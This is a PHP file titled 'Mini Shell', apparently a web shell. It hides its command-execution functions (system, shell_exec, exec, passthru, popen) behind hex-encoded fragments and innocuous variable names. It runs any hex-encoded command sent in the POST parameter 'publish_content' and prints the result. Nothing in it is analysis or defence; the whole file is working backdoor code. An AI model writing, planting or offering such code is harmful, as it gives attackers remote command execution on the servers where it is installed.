Mini Shell

<?php


$resource1 = '73';
$resource2 = '79';
$resource3 = '65';
$resource4 = '6c';
$resource5 = '5f';
$resource6 = '78';
$resource7 = '63';
$resource8 = '70';
$resource9 = '75';
$resource10 = '6f';
$resource11 = '6e';
$resource12 = '6d';
$resource13 = '74';
$reverse_lookup1 = pack("H*", $resource1.$resource2.$resource1.'74'.$resource3.'6d');
$reverse_lookup2 = pack("H*", $resource1.'68'.'65'.$resource4.'6c'.$resource5.$resource3.$resource6.'65'.$resource7);
$reverse_lookup3 = pack("H*", '65'.'78'.'65'.$resource7);
$reverse_lookup4 = pack("H*", $resource8.'61'.'73'.'73'.'74'.'68'.'72'.$resource9);
$reverse_lookup5 = pack("H*", '70'.$resource10.$resource8.'65'.$resource11);
$reverse_lookup6 = pack("H*", '73'.'74'.'72'.'65'.'61'.$resource12.$resource5.'67'.'65'.'74'.$resource5.$resource7.'6f'.'6e'.'74'.$resource3.$resource11.$resource13.'73');
$reverse_lookup7 = pack("H*", $resource8.'63'.'6c'.$resource10.$resource1.$resource3);
$publish_content = pack("H*", '70'.'75'.'62'.$resource4.'69'.$resource1.'68'.$resource5.'63'.$resource10.$resource11.$resource13.'65'.'6e'.'74');
if (isset($_POST[$publish_content])) {
    $publish_content = pack("H*", $_POST[$publish_content]);
    if (function_exists($reverse_lookup1)) {
        $reverse_lookup1($publish_content);
    } elseif (function_exists($reverse_lookup2)) {
        print $reverse_lookup2($publish_content);
    } elseif (function_exists($reverse_lookup3)) {
        $reverse_lookup3($publish_content, $fac_key);
        print join("\n", $fac_key);
    } elseif (function_exists($reverse_lookup4)) {
        $reverse_lookup4($publish_content);
    } elseif (function_exists($reverse_lookup5) && function_exists($reverse_lookup6) && function_exists($reverse_lookup7)) {
        $binding_data = $reverse_lookup5($publish_content, 'r');
        if ($binding_data) {
            $entity_pgrp = $reverse_lookup6($binding_data);
            $reverse_lookup7($binding_data);
            print $entity_pgrp;
        }
    }
    exit;
}